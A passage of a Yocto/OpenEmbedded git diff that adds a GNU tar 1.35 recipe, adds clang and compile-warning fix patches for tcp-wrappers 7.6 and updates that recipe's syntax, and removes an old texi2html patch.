- file://musl_dirent.patch \
- file://CVE-2016-6321.patch \
- "
-SRC_URI[md5sum] = "955cd533955acb1804b83fd70218da51"
-SRC_URI[sha256sum] = "236b11190c0a3a6885bdb8d61424f2b36a5872869aa3f7f695dea4b4843ae2f2"
-
-do_install_append_libc-musl() {
- rm -f ${D}${libdir}/charset.alias
- rmdir ${D}${libdir}
-}
diff --git a/meta/recipes-extended/tar/tar_1.35.bb b/meta/recipes-extended/tar/tar_1.35.bb
new file mode 100644
index 0000000000..c7bd1d195e
--- /dev/null
+++ b/meta/recipes-extended/tar/tar_1.35.bb
@@ -0,0 +1,102 @@
+SUMMARY = "GNU file archiving program"
+DESCRIPTION = "GNU tar saves many files together into a single tape \
+or disk archive, and can restore individual files from the archive."
+HOMEPAGE = "http://www.gnu.org/software/tar/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "7edb8886a3dc69420a1446e1e2d061922b642f1cf632d2cd0f9ee7e690775985"
+
+inherit autotools gettext texinfo
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
+
+PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since tar has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+do_install () {
+ autotools_do_install
+ ln -s tar ${D}${bindir}/gtar
+}
+
+do_install:append:class-target() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/tar ${D}${base_bindir}/tar
+ mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
+ rmdir ${D}${bindir}/
+ fi
+}
+
+# add for ptest support
+SRC_URI += " \
+ file://run-ptest \
+ file://0001-tests-fix-TESTSUITE_AT.patch \
+ file://0002-tests-check-for-recently-fixed-bug.patch \
+ file://0003-Exclude-VCS-directory-with-writing-from-an-archive.patch \
+"
+
+inherit ptest
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/gnu/ check
+ oe_runmake -C ${B}/lib/ check
+ oe_runmake -C ${B}/rmt/ check
+ oe_runmake -C ${B}/src/ check
+ rm -rf ${S}/tests/testsuite
+ oe_runmake -C ${B}/tests/ testsuite
+ oe_runmake -C ${B}/tests/ genfile checkseekhole ckmtime
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
+ sed -i "/abs_/d" ${D}${PTEST_PATH}/tests/atconfig
+ echo "abs_builddir=${PTEST_PATH}/tests/" >> ${D}${PTEST_PATH}/tests/atconfig
+ install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
+ sed -i "/PATH=/d" ${D}${PTEST_PATH}/tests/atlocal
+ install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/checkseekhole ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/ckmtime ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/run-ptest
+}
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "tar"
+ALTERNATIVE:${PN}-rmt = "rmt"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE:${PN}-rmt:class-nativesdk = ""
+
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+PROVIDES:append:class-native = " tar-replacement-native"
+NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Avoid false positives from CVEs in node-tar package
+# For example CVE-2021-{32803,32804,37701,37712,37713}
+CVE_PRODUCT = "gnu:tar"
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch
new file mode 100644
index 0000000000..9d1e05d7f4
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch
@@ -0,0 +1,65 @@
+From 7f8878ac1aaf4a19992d39379797c151301bedb1 Mon Sep 17 00:00:00 2001
+From: Oleksiy Obitotskyy <oobitots@cisco.com>
+Date: Mon, 5 Feb 2018 08:29:10 -0800
+Subject: [PATCH] Fix build with clang
+
+Fix "error: non-void function 'fix_options' should return a value".
+Add function prototype to tcpd.c and miscd.c.
+
+Upstream-Status: Pending
+
+Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
+---
+ v2 - add function prototypes
+
+ fix_options.c | 2 +-
+ miscd.c | 4 ++++
+ tcpd.c | 4 ++++
+ 3 files changed, 9 insertions(+), 1 deletion(-)
+
+diff --git a/fix_options.c b/fix_options.c
+index b5e81b8..9958ff4 100644
+--- a/fix_options.c
++++ b/fix_options.c
+@@ -29,7 +29,7 @@ static char sccsid[] = "@(#) fix_options.c 1.6 97/04/08 02:29:19";
+
+ /* fix_options - get rid of IP-level socket options */
+
+-fix_options(request)
++void fix_options(request)
+ struct request_info *request;
+ {
+ #ifdef IP_OPTIONS
+diff --git a/miscd.c b/miscd.c
+index 1ab835c..723b83a 100644
+--- a/miscd.c
++++ b/miscd.c
+@@ -40,6 +40,10 @@ static char sccsid[] = "@(#) miscd.c 1.10 96/02/11 17:01:30";
+ #include "patchlevel.h"
+ #include "tcpd.h"
+
++#ifdef KILL_IP_OPTIONS
++void fix_options(struct request_info *);
++#endif
++
+ int allow_severity = SEVERITY; /* run-time adjustable */
+ int deny_severity = LOG_WARNING; /* ditto */
+
+diff --git a/tcpd.c b/tcpd.c
+index d865b9c..a179891 100644
+--- a/tcpd.c
++++ b/tcpd.c
+@@ -38,6 +38,10 @@ static char sccsid[] = "@(#) tcpd.c 1.10 96/02/11 17:01:32";
+ #include "patchlevel.h"
+ #include "tcpd.h"
+
++#ifdef KILL_IP_OPTIONS
++void fix_options(struct request_info *);
++#endif
++
+ int allow_severity = SEVERITY; /* run-time adjustable */
+ int deny_severity = LOG_WARNING; /* ditto */
+
+--
+2.10.3.dirty
+
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
new file mode 100644
index 0000000000..474703885d
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
@@ -0,0 +1,114 @@
+From 9c97b5db237a793e0d1b6b0241570bdc6e35ee24 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 7 Aug 2022 17:42:24 -0700
+Subject: [PATCH] Fix implicit-function-declaration warnings
+
+These are seen with clang-15+
+
+Upstream-Status: Inappropriate [upstream is dead]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ hosts_access.c | 3 +++
+ safe_finger.c | 1 +
+ shell_cmd.c | 3 +++
+ tcpd.c | 2 +-
+ tcpdchk.c | 1 +
+ workarounds.c | 1 +
+ 6 files changed, 10 insertions(+), 1 deletion(-)
+
+diff --git a/hosts_access.c b/hosts_access.c
+index 0133e5e..58697ea 100644
+--- a/hosts_access.c
++++ b/hosts_access.c
+@@ -33,6 +33,12 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #endif
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
++#ifdef USE_GETDOMAIN
++/* defined in workarounds.c */
++extern int yp_get_default_domain(char **ptr);
++#else
++# include <rpcsvc/ypclnt.h>
++#endif /* USE_GETDOMAIN */
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <syslog.h>
+@@ -45,6 +46,8 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #endif
+
+ extern int errno;
++extern int match_pattern_ylo(const char *s, const char *pattern);
++extern unsigned long cidr_mask_addr(char* str);
+
+ #ifndef INADDR_NONE
+ #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
+diff --git a/safe_finger.c b/safe_finger.c
+index 23afab1..a6458fb 100644
+--- a/safe_finger.c
++++ b/safe_finger.c
+@@ -34,6 +34,7 @@ static char sccsid[] = "@(#) safe_finger.c 1.4 94/12/28 17:42:41";
+ #include <syslog.h>
+
+ extern void exit();
++extern int pipe_stdin(char **argv);
+
+ /* Local stuff */
+
+diff --git a/shell_cmd.c b/shell_cmd.c
+index 62d31bc..a566092 100644
+--- a/shell_cmd.c
++++ b/shell_cmd.c
+@@ -16,10 +16,13 @@ static char sccsid[] = "@(#) shell_cmd.c 1.5 94/12/28 17:42:44";
+
+ #include <sys/types.h>
+ #include <sys/param.h>
++#include <sys/wait.h>
++#include <fcntl.h>
+ #include <signal.h>
+ #include <stdio.h>
+ #include <syslog.h>
+ #include <string.h>
++#include <unistd.h>
+
+ extern void exit();
+
+diff --git a/tcpd.c b/tcpd.c
+index dc9ff17..4353caa 100644
+--- a/tcpd.c
++++ b/tcpd.c
+@@ -46,7 +46,7 @@ void fix_options(struct request_info *);
+ int allow_severity = SEVERITY; /* run-time adjustable */
+ int deny_severity = LOG_WARNING; /* ditto */
+
+-main(argc, argv)
++void main(argc, argv)
+ int argc;
+ char **argv;
+ {
+diff --git a/tcpdchk.c b/tcpdchk.c
+index 5dca8bd..67c12ce 100644
+--- a/tcpdchk.c
++++ b/tcpdchk.c
+@@ -38,6 +38,7 @@ static char sccsid[] = "@(#) tcpdchk.c 1.8 97/02/12 02:13:25";
+
+ extern int errno;
+ extern void exit();
++extern unsigned long cidr_mask_addr(char* str);
+ extern int optind;
+ extern char *optarg;
+
+diff --git a/workarounds.c b/workarounds.c
+index b22b378..6335049 100644
+--- a/workarounds.c
++++ b/workarounds.c
+@@ -21,6 +21,7 @@ char sccsid[] = "@(#) workarounds.c 1.6 96/03/19 16:22:25";
+ #include <stdio.h>
+ #include <syslog.h>
+ #include <string.h>
++#include <unistd.h>
+
+ extern int errno;
+
+--
+2.37.1
+
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch
new file mode 100644
index 0000000000..88c8d9cae7
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch
@@ -0,0 +1,43 @@
+From 24d10919b4bc5e37a2d80b274d2cd2ee77b03549 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 13 Jan 2020 14:25:47 -0800
+Subject: [PATCH] Remove fgets() extern declaration
+
+These sources already include <stdio.h> which should bring the correct
+declaration
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ hosts_access.c | 1 -
+ misc.c | 2 --
+ 2 files changed, 3 deletions(-)
+
+diff --git a/hosts_access.c b/hosts_access.c
+index 329b35e..0133e5e 100644
+--- a/hosts_access.c
++++ b/hosts_access.c
+@@ -44,7 +44,6 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #include <netdb.h>
+ #endif
+
+-extern char *fgets();
+ extern int errno;
+
+ #ifndef INADDR_NONE
+diff --git a/misc.c b/misc.c
+index 74ca319..9a5e73a 100644
+--- a/misc.c
++++ b/misc.c
+@@ -18,8 +18,6 @@ static char sccsic[] = "@(#) misc.c 1.2 96/02/11 17:01:29";
+
+ #include "tcpd.h"
+
+-extern char *fgets();
+-
+ #ifndef INADDR_NONE
+ #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
+ #endif
+--
+2.24.1
+
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch
index e8289e44d9..d473fb6342 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch
@@ -1,9 +1,10 @@
Upstream-Status: Backport
-diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
---- tcp_wrappers_7.6.orig/Makefile 2003-08-21 01:43:39.000000000 +0200
-+++ tcp_wrappers_7.6/Makefile 2003-08-21 01:43:35.000000000 +0200
-@@ -45,7 +45,7 @@
+Index: tcp_wrappers_7.6/Makefile
+===================================================================
+--- tcp_wrappers_7.6.orig/Makefile
++++ tcp_wrappers_7.6/Makefile
+@@ -45,7 +45,7 @@ what:
#
# SysV.4 Solaris 2.x OSF AIX
#REAL_DAEMON_DIR=/usr/sbin
@@ -12,7 +13,7 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
# BSD 4.4
#REAL_DAEMON_DIR=/usr/libexec
#
-@@ -512,6 +519,7 @@
+@@ -513,6 +513,7 @@ VSYSLOG = -Dvsyslog=myvsyslog
# (examples: allow, deny, banners, twist and spawn).
#
#STYLE = -DPROCESS_OPTIONS # Enable language extensions.
@@ -20,7 +21,7 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
################################################################
# Optional: Changing the default disposition of logfile records
-@@ -535,6 +543,7 @@
+@@ -536,6 +537,7 @@ VSYSLOG = -Dvsyslog=myvsyslog
# The LOG_XXX names below are taken from the /usr/include/syslog.h file.
FACILITY= LOG_MAIL # LOG_MAIL is what most sendmail daemons use
@@ -28,7 +29,7 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
# The syslog priority at which successful connections are logged.
-@@ -631,6 +640,7 @@
+@@ -632,6 +634,7 @@ TABLES = -DHOSTS_DENY=\"/etc/hosts.deny\
# lookups altogether, see the next section.
PARANOID= -DPARANOID
@@ -36,7 +37,7 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
########################################
# Optional: turning off hostname lookups
-@@ -644,6 +654,7 @@
+@@ -645,6 +648,7 @@ PARANOID= -DPARANOID
# mode (see previous section) and comment out the following definition.
HOSTNAME= -DALWAYS_HOSTNAME
@@ -44,7 +45,7 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
#############################################
# Optional: Turning on host ADDRESS checking
-@@ -670,6 +681,7 @@
+@@ -671,6 +675,7 @@ HOSTNAME= -DALWAYS_HOSTNAME
# Solaris 2.x, and Linux. See your system documentation for details.
#
# KILL_OPT= -DKILL_IP_OPTIONS
@@ -52,7 +53,7 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
## End configuration options
############################
-@@ -677,9 +689,10 @@
+@@ -678,9 +683,10 @@ HOSTNAME= -DALWAYS_HOSTNAME
# Protection against weird shells or weird make programs.
SHELL = /bin/sh
@@ -65,7 +66,7 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
$(BUGS) $(SYSTYPE) $(AUTH) $(UMASK) \
-DREAL_DAEMON_DIR=\"$(REAL_DAEMON_DIR)\" $(STYLE) $(KILL_OPT) \
-DSEVERITY=$(SEVERITY) -DRFC931_TIMEOUT=$(RFC931_TIMEOUT) \
-@@ -712,10 +725,11 @@
+@@ -713,11 +719,12 @@ all other: config-check tcpd tcpdmatch t
config-check:
@set +e; test -n "$(REAL_DAEMON_DIR)" || { make; exit 1; }
@@ -81,3 +82,4 @@ diff -ruN tcp_wrappers_7.6.orig/Makefile tcp_wrappers_7.6/Makefile
+ @if [ ! -d shared ]; then mkdir shared; fi
$(LIB): $(LIB_OBJ)
+ rm -f $(LIB)
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch
new file mode 100644
index 0000000000..965544cc0b
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch
@@ -0,0 +1,25 @@
+Compile warning fixes from Debian
+
+Signed-off-by: Adrian Bunk <bunk@stusta.de>
+Upstream-Status: Inappropriate [upstream is dead]
+
+--- a/options.c
++++ b/options.c
+@@ -41,6 +41,7 @@ static char sccsid[] = "@(#) options.c 1
+ #include <netinet/in.h>
+ #include <netdb.h>
+ #include <stdio.h>
++#include <unistd.h>
+ #include <syslog.h>
+ #include <pwd.h>
+ #include <grp.h>
+--- a/scaffold.c
++++ b/scaffold.c
+@@ -17,6 +17,7 @@ static char sccs_id[] = "@(#) scaffold.c
+ #include <arpa/inet.h>
+ #include <netdb.h>
+ #include <stdio.h>
++#include <stdlib.h>
+ #include <syslog.h>
+ #include <setjmp.h>
+ #include <string.h>
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch
new file mode 100644
index 0000000000..27157a2e6d
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch
@@ -0,0 +1,200 @@
+Compile warning fixes from Debian
+
+Signed-off-by: Adrian Bunk <bunk@stusta.de>
+Upstream-Status: Inappropriate [upstream is dead]
+
+--- a/clean_exit.c
++++ b/clean_exit.c
+@@ -13,6 +13,7 @@ static char sccsid[] = "@(#) clean_exit.
+ #endif
+
+ #include <stdio.h>
++#include <unistd.h>
+
+ extern void exit();
+
+--- a/hosts_access.c
++++ b/hosts_access.c
+@@ -34,6 +34,7 @@ static char sccsid[] = "@(#) hosts_acces
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
+ #include <stdio.h>
++#include <stdlib.h>
+ #include <syslog.h>
+ #include <ctype.h>
+ #include <errno.h>
+--- a/misc.c
++++ b/misc.c
+@@ -13,6 +13,7 @@ static char sccsic[] = "@(#) misc.c 1.2
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
+ #include <stdio.h>
++#include <stdlib.h>
+ #include <string.h>
+
+ #include "tcpd.h"
+--- a/options.c
++++ b/options.c
+@@ -41,6 +41,7 @@ static char sccsid[] = "@(#) options.c 1
+ #include <netinet/in.h>
+ #include <netdb.h>
+ #include <stdio.h>
++#include <stdlib.h>
+ #include <unistd.h>
+ #include <syslog.h>
+ #include <pwd.h>
+--- a/percent_x.c
++++ b/percent_x.c
+@@ -17,6 +17,7 @@ static char sccsid[] = "@(#) percent_x.c
+ /* System libraries. */
+
+ #include <stdio.h>
++#include <unistd.h>
+ #include <syslog.h>
+ #include <string.h>
+
+--- a/rfc931.c
++++ b/rfc931.c
+@@ -16,6 +16,7 @@ static char sccsid[] = "@(#) rfc931.c 1.
+ /* System libraries. */
+
+ #include <stdio.h>
++#include <unistd.h>
+ #include <syslog.h>
+ #include <sys/types.h>
+ #include <sys/socket.h>
+--- a/tcpd.c
++++ b/tcpd.c
+@@ -22,6 +22,7 @@ static char sccsid[] = "@(#) tcpd.c 1.10
+ #include <sys/socket.h>
+ #include <netinet/in.h>
+ #include <stdio.h>
++#include <unistd.h>
+ #include <syslog.h>
+ #include <string.h>
+
+--- a/update.c
++++ b/update.c
+@@ -20,6 +20,7 @@ static char sccsid[] = "@(#) update.c 1.
+ /* System libraries */
+
+ #include <stdio.h>
++#include <unistd.h>
+ #include <syslog.h>
+ #include <string.h>
+
+--- a/fakelog.c
++++ b/fakelog.c
+@@ -17,7 +17,7 @@ static char sccsid[] = "@(#) fakelog.c 1
+
+ /* ARGSUSED */
+
+-openlog(name, logopt, facility)
++void openlog(name, logopt, facility)
+ char *name;
+ int logopt;
+ int facility;
+@@ -27,7 +27,7 @@ int facility;
+
+ /* vsyslog - format one record */
+
+-vsyslog(severity, fmt, ap)
++void vsyslog(severity, fmt, ap)
+ int severity;
+ char *fmt;
+ va_list ap;
+@@ -43,7 +43,7 @@ va_list ap;
+
+ /* VARARGS */
+
+-VARARGS(syslog, int, severity)
++void VARARGS(syslog, int, severity)
+ {
+ va_list ap;
+ char *fmt;
+@@ -56,7 +56,7 @@ VARARGS(syslog, int, severity)
+
+ /* closelog - dummy */
+
+-closelog()
++void closelog()
+ {
+ /* void */
+ }
+--- a/safe_finger.c
++++ b/safe_finger.c
+@@ -22,10 +22,15 @@ static char sccsid[] = "@(#) safe_finger
+
+ #include <sys/types.h>
+ #include <sys/stat.h>
++#include <sys/wait.h>
++#include <fcntl.h>
+ #include <signal.h>
+ #include <stdio.h>
++#include <stdlib.h>
++#include <unistd.h>
+ #include <ctype.h>
+ #include <pwd.h>
++#include <grp.h>
+ #include <syslog.h>
+
+ extern void exit();
+@@ -52,7 +59,7 @@ int sig;
+ exit(0);
+ }
+
+-main(argc, argv)
++int main(argc, argv)
+ int argc;
+ char **argv;
+ {
+--- a/tcpdchk.c
++++ b/tcpdchk.c
+@@ -28,6 +28,8 @@ static char sccsid[] = "@(#) tcpdchk.c 1
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
+ #include <stdio.h>
++#include <stdlib.h>
++#include <unistd.h>
+ #include <syslog.h>
+ #include <setjmp.h>
+ #include <errno.h>
+--- a/tcpdmatch.c
++++ b/tcpdmatch.c
+@@ -26,6 +26,7 @@ static char sccsid[] = "@(#) tcpdmatch.c
+ #include <arpa/inet.h>
+ #include <netdb.h>
+ #include <stdio.h>
++#include <unistd.h>
+ #include <syslog.h>
+ #include <setjmp.h>
+ #include <string.h>
+--- a/try-from.c
++++ b/try-from.c
+@@ -37,7 +37,7 @@ static char sccsid[] = "@(#) try-from.c
+ int allow_severity = SEVERITY; /* run-time adjustable */
+ int deny_severity = LOG_WARNING; /* ditto */
+
+-main(argc, argv)
++int main(argc, argv)
+ int argc;
+ char **argv;
+ {
+--- a/inetcf.c
++++ b/inetcf.c
+@@ -12,6 +12,7 @@ static char sccsid[] = "@(#) inetcf.c 1.
+ #include <sys/types.h>
+ #include <sys/stat.h>
+ #include <stdio.h>
++#include <stdlib.h>
+ #include <errno.h>
+ #include <string.h>
+
+@@ -20,6 +21,7 @@ extern void exit();
+
+ #include "tcpd.h"
+ #include "inetcf.h"
++#include "scaffold.h"
+
+ /*
+ * Network configuration files may live in unusual places. Here are some
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
index 8e46df8e1e..cf4f993c1a 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
@@ -7,9 +7,8 @@ Date: Tue Feb 12 09:53:50 2013 -0500
Added support for socklen_t type to len argument passed to socket related
calls. This fixes a bug that causes tcp wrappers to fail when using sshd.
- Upstream-Status: Pending
-
- Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
+Upstream-Status: Pending
+Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
diff --git a/fix_options.c b/fix_options.c
index 7473adf..fe2b442 100644
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
index 1effef149b..bcd1d6f792 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
@@ -4,20 +4,18 @@ DESCRIPTION = "Tools for monitoring and filtering incoming requests for tcp \
services."
SECTION = "console/network"
-LICENSE = "BSD"
+LICENSE = "BSD-1-Clause"
LIC_FILES_CHKSUM = "file://DISCLAIMER;md5=071bd69cb78b18888ea5e3da5c3127fa"
-PR ="r10"
-
PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc"
-FILES_libwrap = "${base_libdir}/lib*${SOLIBS}"
-FILES_libwrap-doc = "${mandir}/man3 ${mandir}/man5"
-FILES_libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
-FILES_libwrap-staticdev = "${libdir}/lib*.a"
-FILES_${PN} = "${sbindir}"
-FILES_${PN}-doc = "${mandir}/man8"
-
-SRC_URI = "ftp://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
+FILES:libwrap = "${base_libdir}/lib*${SOLIBS}"
+FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5"
+FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
+FILES:libwrap-staticdev = "${libdir}/lib*.a"
+FILES:${PN} = "${sbindir}"
+FILES:${PN}-doc = "${mandir}/man8"
+
+SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://00_man_quoting.diff \
file://01_man_portability.patch \
file://05_wildcard_matching.patch \
@@ -45,6 +43,11 @@ SRC_URI = "ftp://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://safe_finger.8 \
file://makefile-fix-parallel.patch \
file://musl-decls.patch \
+ file://0001-Fix-build-with-clang.patch \
+ file://fix_warnings.patch \
+ file://fix_warnings2.patch \
+ file://0001-Remove-fgets-extern-declaration.patch \
+ file://0001-Fix-implicit-function-declaration-warnings.patch \
"
SRC_URI[md5sum] = "e6fa25f71226d090f34de3f6b122fb5a"
@@ -66,7 +69,6 @@ EXTRA_OEMAKE = "'CC=${CC}' \
'KILL_OPT=-DKILL_IP_OPTIONS' \
'UMASK=-DDAEMON_UMASK=022' \
'NETGROUP=${EXTRA_OEMAKE_NETGROUP}' \
- 'LIBS=-lnsl' \
'ARFLAGS=rv' \
'AUX_OBJ=weak_symbols.o' \
'TLI=' \
@@ -74,9 +76,9 @@ EXTRA_OEMAKE = "'CC=${CC}' \
'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'"
EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN"
-EXTRA_OEMAKE_NETGROUP_libc-musl = "-DUSE_GETDOMAIN"
+EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN"
-EXTRA_OEMAKE_append_libc-musl = " 'LIBS='"
+EXTRA_OEMAKE:append:libc-musl = " 'LIBS='"
do_compile () {
oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \
@@ -129,4 +131,4 @@ do_install () {
touch ${D}${sysconfdir}/hosts.deny
}
-FILES_${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
+FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
diff --git a/meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch b/meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch
deleted file mode 100644
index 0cf025ff4a..0000000000
--- a/meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From: Olaf Mandel <o.mandel@menlosystems.com>
-Date: Fri, 21 Oct 2016 13:04:44 +0000
-Subject: [PATCH] Allow compiling out-of-source
-
-Upstream-Status: Backport of [svn://svn.sv.gnu.org/texinfo/trunk r3602]
----
- Makefile.am | 2 +-
- Makefile.in | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index 3447463..c9b5b5c 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -208,7 +208,7 @@ i18n/en.thl i18n/: $(po_document_dir)/po_document/$(PACKAGE)_document.pot
- done; \
- msgexec -i $< "$(srcdir)/gettext_to_separated.pl" | "$(srcdir)/separated_to_hash.pl" en > i18n/en.thl; \
- else \
-- cp -p i18n_ref/*.thl i18n; \
-+ cp -p "$(srcdir)/i18n_ref/"*.thl i18n; \
- fi
-
- i18n_ref:
-diff --git a/Makefile.in b/Makefile.in
-index 4264b37..a13f84d 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -1126,7 +1126,7 @@ i18n/en.thl i18n/: $(po_document_dir)/po_document/$(PACKAGE)_document.pot
- done; \
- msgexec -i $< "$(srcdir)/gettext_to_separated.pl" | "$(srcdir)/separated_to_hash.pl" en > i18n/en.thl; \
- else \
-- cp -p i18n_ref/*.thl i18n; \
-+ cp -p "$(srcdir)/i18n_ref/"*.thl i18n; \
- fi
-
- i18n_ref:
---
-2.1.4
-
